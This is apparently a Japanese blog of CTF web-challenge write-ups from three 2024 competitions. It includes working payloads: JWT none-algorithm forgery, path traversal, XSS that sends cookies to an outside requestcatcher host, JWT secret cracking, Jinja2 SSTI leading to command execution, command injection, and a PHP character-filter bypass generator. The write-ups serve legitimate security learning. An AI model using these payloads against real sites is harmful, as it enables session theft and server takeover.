eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJmaWZwMW5iZjZkbSIsImFkbWluIjpmYWxzZSwiaWF0IjoxNzEwMDU2NjM4fQ.f-2ZIpnWAqPbirAs7OaPOjBJUx19eFtzjis2I88SHTI
-> {"userId": "fifp1nbf6dm","admin": false,"iat": 1710056638}

userIdは同じ入力でも変化するのでランダムっぽい。タイトルからjwtにまつわる問題であることは分かるが…
guessy...
色々試すと、none攻撃で成功。

import jwt
payload = {"userId": "18jcb4m7uiz","admin": True,"iat": 1710066638}
res = jwt.encode(payload, '', algorithm='none')
print(res)

のような感じにして、以下のように送るとフラグ獲得。

GET / HTTP/1.1
Host: 35.94.129.106:3004
Cookie: AUTHORIZATION=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VySWQiOiIxOGpjYjRtN3VpeiIsImFkbWluIjp0cnVlLCJpYXQiOjE3MTAwNjY2Mzh9.

[Web] Ponies

OH NO, where did all these ponies come from??? Quick, get the flag and sail away before we are overrun!

The flag is arriving shotly...と出てくるサイトが与えられ、
ちょっと待っていると大量のキャラとコメントが出る激重サイト。
Burpのログを漁ると数千件ログが残っているが、しれっとフラグが含まれている。
GET /gag.jsdocument.getElementById("flag").innerHTML = "vikeCTF{■■■■■■■■■■}";のようにフラグが書いてある。

[Web] vikeMERCH

Welcome to vikeMERCH, your one stop shop for Viking-themed merchandise! We're still working on our website, but don't let that stop you from browsing our high-quality items. We just know you'll love the Viking sweater vest.

go言語で書かれたソースコードが与えられる。
フラグからさかのぼって見てみよう。

e.POST("/admin", func(c *gin.Context) {
    username := c.PostForm("username")
    password := c.PostForm("password")
    var user User
    err := db.Get(&user, "SELECT * FROM user WHERE username = ?", username)
    if err != nil {
        c.HTML(http.StatusUnauthorized, "admin.html", "Username or password is incorrect")
        return
    }
    if subtle.ConstantTimeCompare([]byte(password), []byte(user.Password)) == 0 {
        c.HTML(http.StatusUnauthorized, "admin.html", "Username or password is incorrect")
        return
    }
    c.Writer.Header().Add("Set-Cookie", "FLAG="+flag)
    c.Writer.Header().Add("Content-Type", "text/plain")
    c.Writer.WriteString(flag)
})

誰でもいいのでuserの認証が通ればフラグがもらえる。
DB操作を見るとadminユーザーしか用意されていない。

CREATE TABLE user (
    username TEXT,
    password TEXT
);

INSERT INTO user (username, password) VALUES (
    'admin',
    '$(xxd -l 32 -c 32 -p /dev/random)'
);

とりあえずDB上の情報を抜いてくる必要がありそう。
SQL Injectionを探すがない。だが、以下にPath Traversal出来そうな雰囲気の部分がある。

e.GET("/assets", func(c *gin.Context) {
    id := c.Query("id")
    path := filepath.Join("assets", filepath.Clean(id))
    c.File(path)
})

パッと見対策されていそうだが検索すると、以下のようにfilepath.Claenはサニタイザーとして使うことはできないとのこと。
https://github.com/golang/go/issues/34938

ということで、以下のように試すとうまくいく

GET /assets?id=../db.sqlite3 HTTP/1.1
Host: localhost:4444

ok. これでDBの中身が抜けてadminのパスワードが見れるようになるので、フラグ獲得までできる。
以下でフラグ獲得。

POST /admin HTTP/1.1
Host: 35.94.129.106:3001
Content-Type: application/x-www-form-urlencoded
Content-Length: 88

username=admin&password=a36dc27c2955d4d4ec31f351c49fc7ac63b7e98908077bd1a7f0cfce1875c03d

[Web] movieDB 解けなかった

Ahoy, ye brave movie seekers! Welcome to MovieDB, where the flicks flow like mead and the security... well, let's just say it's a bit like an unlocked treasure chest in a Viking village. But fret not! With a sprinkle of humor and a dash of caution, we'll navigate these cinematic seas together, laughing in the face of cyber shenanigans. So grab your popcorn and let's pillage... I mean, peruse through our database of movie marvels!
勇敢なる映画ファンの諸君!MovieDBへようこそ!ここでは、ミードのように映画が流れ、セキュリティは......まあ、バイキングの村の鍵のかかっていない宝箱のようなものだと言っておこう。だが心配はいらない!ユーモアを振りまきながら、そして用心深く、私たちは一緒にこの映画の海を航海し、サイバーの悪ふざけを笑い飛ばそう。さあ、ポップコーンを持って略奪に出発だ...。つまり、映画の驚異のデータベースを熟読しよう!

映画の検索ができるサイトが与えられる。
ソースコード無し、色々試すが何も起きない。
/robots.txtをみると/static/flag.txtとあったが、アクセスするとnoと帰ってくる。うーん。

Pearl CTF (2024) Writeup

https://ctftime.org/event/2231

[Web] learn HTTP シリーズ

[Web] learn HTTP

I made a simple web application to teach you guys how HTTP responses work, I hope you enjoy :)

HTTP%2F1.1%20200%20OK%0D%0A%0D%0AhelloのようなHTTPレスポンスの生データをadminに見せるページ。
GET /flagの内容を持ってくることが出来ればフラグ獲得だが、admin向けに作成されているtokenでは表示ができない。
しかし、まずはtokenが取得できるか試してみる。
任意のHTTPレスポンスが書けるのでXSS発動させられる。

HTTP/1.1 200 OK
Content-Length: 109

<script>navigator.sendBeacon('https://dfjsaiej4jk3jefsksda.requestcatcher.com/test',document.cookie)</script>

こういう感じのものをURL Encode(CyberChefだとEncode all special charsにチェックが必要)して送るとrequestcatcherにcookieが送られてくる。

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwiaWF0IjoxNzA5OTQyMzMzfQ.g78zszIQhgMCHDxO4hYS3I9eCoFWa2UH3zDPCM5RAwY

adminの持つ、トークンが得られた。 このトークンが持つpayloadは{"id": 1,"iat": 1709942333}だが、id=2のトークンでないとフラグを取得することができない。 secretが無いとダメかーと思っていたが、easyタグが付いていたのでシンプルにシークレットの総当たりを試すと成功した。

$ john jwt.txt
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 512/512 AVX512BW 16x])
Will run 8 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
banana           (?)     
1g 0:00:00:00 DONE 2/3 (2024-03-09 09:10) 7.692g/s 252061p/s 252061c/s 252061C/s 123456..skyline!
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

bananaだったらしい。{"id": 2,"iat": 1709942333}にして作り直して、以下のように送るとフラグ獲得。

GET /flag HTTP/2
Host: learn-http.ctf.pearlctf.in
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiaWF0IjoxNzA5OTQyMzMzfQ.NUcKNox2LvUoSLgh3hT_3cXKAbIEq_8JTtp1Tgu086I

[Web] learn HTTP better

I learn from mistakes, I think this change will solve my issue.

前問と大きな違いはCSPがかかっていること。 Content-Security-Policy: default-src 'self' これも任意のレスポンスが作れるので、scriptも任意のものが作れる。

HTTP/1.1 200 OK
Content-Length: 8

alert(1)

となるようなhttps://v1-learn-http.ctf.pearlctf.in/resp?body=HTTP%2F1%2E1%20200%20OK%0D%0AContent%2DLength%3A%208%0D%0A%0D%0Aalert%281%29を用意して、

HTTP/1.1 200 OK
Content-Length: 148

<script src="https://v1-learn-http.ctf.pearlctf.in/resp?body=HTTP%2F1%2E1%20200%20OK%0D%0AContent%2DLength%3A%208%0D%0A%0D%0Aalert%281%29"></script>

という感じで使って、https://v1-learn-http.ctf.pearlctf.in/resp?body=HTTP%2F1%2E1%20200%20OK%0D%0AContent%2DLength%3A%20148%0D%0A%0D%0A%3Cscript%20src%3D%22https%3A%2F%2Fv1%2Dlearn%2Dhttp%2Ectf%2Epearlctf%2Ein%2Fresp%3Fbody%3DHTTP%252F1%252E1%2520200%2520OK%250D%250AContent%252DLength%253A%25208%250D%250A%250D%250Aalert%25281%2529%22%3E%3C%2Fscript%3Eを踏めばalertが飛ぶ。

HTTP/1.1 200 OK
Content-Length: 91

window.location = 'http://dfjsaiej4jk3jefsksda.requestcatcher.com/test?' + document.cookie;

HTTP%2F1%2E1%20200%20OK%0D%0AContent%2DLength%3A%2092%0D%0A%0D%0Awindow%2Elocation%20%3D%20%27http%3A%2F%2Fdfjsaiej4jk3jefsksda%2Erequestcatcher%2Ecom%2Ftest%3F%27%20%2B%20document%2Ecookie%3Bとなって、

HTTP/1.1 200 OK
Content-Length: 248

<script src="http://localhost:5001/resp?body=HTTP%2F1%2E1%20200%20OK%0D%0AContent%2DLength%3A%2091%0D%0A%0D%0Awindow%2Elocation%20%3D%20%27http%3A%2F%2Fdfjsaiej4jk3jefsksda%2Erequestcatcher%2Ecom%2Ftest%3F%27%20%2B%20document%2Ecookie%3B"></script>

のような感じでHTTP%2F1%2E1%20200%20OK%0D%0AContent%2DLength%3A%20248%0D%0A%0D%0A%3Cscript%20src%3D%22http%3A%2F%2Flocalhost%3A5001%2Fresp%3Fbody%3DHTTP%252F1%252E1%2520200%2520OK%250D%250AContent%252DLength%253A%252091%250D%250A%250D%250Awindow%252Elocation%2520%253D%2520%2527http%253A%252F%252Fdfjsaiej4jk3jefsksda%252Erequestcatcher%252Ecom%252Ftest%253F%2527%2520%252B%2520document%252Ecookie%253B%22%3E%3C%2Fscript%3Eを用意して踏ませるとcookieが降ってくる。

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwiaWF0IjoxNzA5OTk1NjQ2fQ._h7goe3Ds2ZeV6XMCbEImWf5MbRlvr4mrftB63Yk5co

であり、john the ripperを使ってパスワードクラックを同様に試すとpasswordと分かる。 同様にid=2にして作り直して以下のように送るとフラグが得られる。

GET /flag HTTP/2
Host: v1-learn-http.ctf.pearlctf.in
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiaWF0IjoxNzA5OTk1NjQ2fQ.nsZklhoerc296tBSWvwiGZ3nLCxEWIETH47jg0qc1ps

[Web] learn HTTP (final) 解いてない

This time I have removed all loopholes. I can finally rest now, can't I?

[Web] I am a web-noob

Maybe noobs create the most secure web applications. Or maybe not.

ユーザー名を入力するサイトが与えられる。
色々試すとSSTIが刺さるっぽいが、入力がサニタイズされているっぽい感じに出てくる。
{% print "test" %}は使えたので、ninja2が使える。
使える文字を見て色々やると以下でRCE達成。

{% print lipsum|attr(request.args.a)|attr(request.args.b)(request.args.c)|attr(request.args.d)(request.args.e)|attr(request.args.f)() %}

をuserとして入力してGETのクエリストリングに&a=__globals__&b=__getitem__&c=os&d=popen&e=id&f=readでidコマンドが動く。
これで色々探索すると、flag.txtがあるので、${IFS}をスペースの代わりにして
&a=__globals__&b=__getitem__&c=os&d=popen&e=cat${IFS}flag.txt&f=readでフラグ獲得。

[Web] rabbithole

Welcome to the journey! Here's your reward.

ソースコード無し。You're on your own:)と言われる。
妙なCookieが渡されるが特に何もできないので/robots.txtを見るとDisallow: /w0rk_h4rdとある。
/w0rk_h4rdに行くとYou sure are hardworking, but are you privileged enough? Here is what you want: s3cr3t1v3_m3th0d
がちゃがちゃやるとGET /hardworking

HTTP/2 405 Method Not Allowed
Allow: S3CR3T1V3_M3TH0D, OPTIONS

と帰ってくるので、S3CR3T1V3_M3TH0D /hardworkingとするとYou're not privileged enough ;)と帰ってくるので、
最後にcookieのuserIDをadminにするとフラグがもらえる。
最終的に以下のリクエストでフラグがもらえる。

S3CR3T1V3_M3TH0D /hardworking HTTP/2
Host: rabbithole.ctf.pearlctf.in
Cookie: userID=admin

うーん、rabbithole。

[Web] steps to success 解けなかった

A journey only brave can travel.

wasmがバックエンドで使われている問題。

[Web] Uploader 解いてない

Yet another PHP-based uploader, and it's secure ^_^

ファイルアップロードできるPHPの問題。

Shakti CTF (2024) Writeup

https://ctftime.org/event/2268

[Web] Delicious

How delicious!

ソースコード無し。 開くと「Delicious isn't it?」という文字とともにCookieの画像が表示される。
レスポンスを見るとSet-Cookieが付いている。

Set-Cookie: cookie=eyJhZG1pbiI6MH0%3D; Path=/

URL Decodeして、From Base64すると{"admin":0}と出てくる。
https://gchq.github.io/CyberChef/#recipe=URL_Decode()From_Base64('A-Za-z0-9%2B/%3D',true,false)&input=ZXlKaFpHMXBiaUk2TUgwJTNE

admin=1の状態にして使ってみよう。
https://gchq.github.io/CyberChef/#recipe=To_Base64('A-Za-z0-9%2B/%3D')URL_Encode(true)&input=eyJhZG1pbiI6MX0
これを使って以下のようにリクエストするとフラグが得られる。

GET / HTTP/2
Host: ch23900160354.ch.eng.run
Cookie: cookie=eyJhZG1pbiI6MX0%3D

[Web] Find the flag

Flag is in flag.txt

以下のようにコマンドインジェクションできるポイントがある。

@app.get('/')
def index():
    test = request.args.get('test', None)
    if test is None:
        return render_template('index.html')

    command = f"find {test}"

    try:
        output = os.popen(command).read()

;でコマンドを区切ってコマンドインジェクションしてみる。

/?test=a;idとするとuid=0(root) gid=0(root) groups=0(root)と出てくる。idコマンドが動作している。
/?test=a;idとするとflag.txtの存在が分かる。
/?test=a;cat%20flag.txtでフラグ獲得。

[Web] Ultimate Spiderman Fan

Welcome to the Spider-Man Merch Portal . Your mission is to harness your web-slinging skills and become the ultimate Spider-Fan. Are you ready to prove your worth and claim your rightful place among the elite Spider-Fans?
スパイダーマン・マーチ・ポータルへようこそ。あなたの使命は、ウェブを操るスキルを駆使して、究極のスパイダーファンになること。あなたは自分の価値を証明し、エリートスパイダーファンの中で正当な地位を主張する準備ができていますか?

お金を$3000持った状態で、$5000の商品が買えればフラグがもらえそう。
ソースコード無しの状態なのでリクエストの流れを見てみる。

  1. POST /buyproduct_id=1を送ると、対応するshopping_tokenというcookieがもらえる
  2. 手順1のcookieとともにGET /checkoutすると購入が確定する

買いたい商品はボタンが無く、UI上からは買えないのだが、以上のルールでもし変えた場合のリクエストを再現すれば買えそう。

  1. POST /buy
POST /buy HTTP/2
Host: ch11900160369.ch.eng.run
Content-Length: 12
Content-Type: application/x-www-form-urlencoded

product_id=4

これでcookieがもらえるので、以下のように使う。

  1. GET /checkout
GET /checkout HTTP/2
Host: ch11900160369.ch.eng.run
Cookie: shopping_token=eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJhbW91bnQiOiA1MDAwfQ.qdH04CeYzu_qZoL2gBNdEsmtc3XKME6wAFw7CdjId5E

これでフラグゲット。

[Web] Filters

No bypass! Flag is in flag.txt

phpでできたサイトが与えられる。

<?php
highlight_file(__FILE__);
$command = $_GET['command'] ?? '';

if($command === '') {
    die("Please provide a command\n");
}

function filter($command) {
    if(preg_match('/(`|\.|\$|\/|a|c|s|require|include)/i', $command)) {
        return false;
    }
    return true;
}

if(filter($command)) {
    eval($command);
    echo "Command executed";
} else {
    echo "Restricted characters have been used";
}
echo "\n";
?>

XORテクが使えそう。
https://github.com/vichhika/CTF-Writeup/blob/main/GrabCON%20CTF%202021/Web/Basic%20Calc/README.md を参考にソルバーを書く。
XORを使って文字制限を回避して任意の文字を作成し、かっこを使って呼び出すという作戦。

# ref: https://github.com/vichhika/CTF-Writeup/blob/main/GrabCON%20CTF%202021/Web/Basic%20Calc/README.md

#string_code = ['system','ls'] # -> ("111114"^"BHBETY")("41"^"XB")
string_code = ['system','cat flag.txt'] # -> ("111114"^"BHBETY")("111q1411w111"^"RPEQWXPVYEIE")
obfuscated_code = ""
charset = "1234567890qwertyuiopdfghjklzxvbnmQWERTYUIOPDFGHJKLZXVBNM"

for code in string_code:
    obfuscated = ""
    set_a = ""
    set_b = ""
    for i in code:
        ok = False
        for j in charset:
            for k in charset:
                if ord(j)^ord(k) == ord(i):
                    set_a += j
                    set_b += k
                    ok = True
                    break
            if ok:
                break
    obfuscated_code += f'("{set_a}"^"{set_b}")'
print(''.join(["(\"%s\")" % i for i in string_code]) + '=' + obfuscated_code)

直ぐ環境が閉じてしまったが print_r(("111114"^"BHBETY")("111q1411w111"^"RPEQWXPVYEIE"))で最終的にフラグが得られたはず。

[Web] Notes V1 解けなかった

Is there more to the Simple Notes app than meets the eye?
Note: Use Pow script
https://gist.github.com/L0xm1/b6ece05590ea2ab819b3a833c702089c

reverse proxyとしてgolangで書かれたプログラムが動いていて/admin
ブロックしていて、そのあとのpythonで書かれたプログラムの/admin
Insecure YAML Deselializationがある。
何らかのsmugglingだろうが…

以下だったらしい。脆弱性確認してなかった。
https://security.snyk.io/vuln/SNYK-DEBIAN12-GOLANG117-3040376